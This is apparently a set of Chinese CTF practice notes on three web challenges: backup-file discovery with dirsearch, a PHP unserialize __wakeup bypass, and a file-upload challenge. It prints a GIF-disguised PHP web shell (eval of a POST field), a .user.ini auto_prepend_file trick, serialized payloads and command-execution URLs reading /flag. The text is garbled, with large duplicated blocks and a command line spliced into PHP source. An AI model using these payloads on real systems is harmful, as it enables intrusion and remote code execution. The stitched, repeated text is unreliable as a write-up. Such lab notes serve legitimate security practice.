[开发测试]CTF做题笔记9

[ACTF2020 新生赛]BackupFile

$ python3 dirsearch.py -e php,txt,zip,html -u http://d71ec916-0f16-4fea-b5ae-f1d1251aae5e.node4.buuoj.cn:81/  -t 40 --exclude-status 403,401

[19:57:33] 200 -  347B  - /index.php.bak

?index.php?key=123

[极客大挑战 2019]PHP

/www.zip

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
## [ACTF2020 新生赛]BackupFile
```bash
$ python3 dirsearch.py -e php,txt,zip,html -u http://d71ec916-0f16-4fea-b5ae-f1d1251aae5e.node4.buuoj.cn:81/  -t 40 --exclude-status 403,401

[19:57:33] 200 -  347B  - /index.php.bak

?index.php?key=123

[极客大挑战 2019]PHP

/www.zip

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

<?php
include 'flag.php';
index.php?cmd=system('cat /flag');

error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>
$a= new Name();
$a -> username = 'admin';
$a -> password = '100';
echo serialize($a);

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

[SUCTF 2019]CheckIn

// filename="3.jpg"
GIF89a
<script language="php">eval($_POST['a']);</script>

// filename=".user.ini"
GIF89a
auto_prepend_file=3.jpg

index.php?cmd=var_dump(scandir("/"));

index.php?cmd=system('cat /flag');

index.php?cmd=system('cat /flag');

error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>
$a= new Name();
$a -> username = 'admin';
$a -> password = '100';
echo serialize($a);

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

[SUCTF 2019]CheckIn

// filename="3.jpg"
GIF89a
<script language="php">eval($_POST['a']);</script>

// filename=".user.ini"
GIF89a
auto_prepend_file=3.jpg

index.php?cmd=var_dump(scandir("/"));

index.php?cmd=system('cat /flag');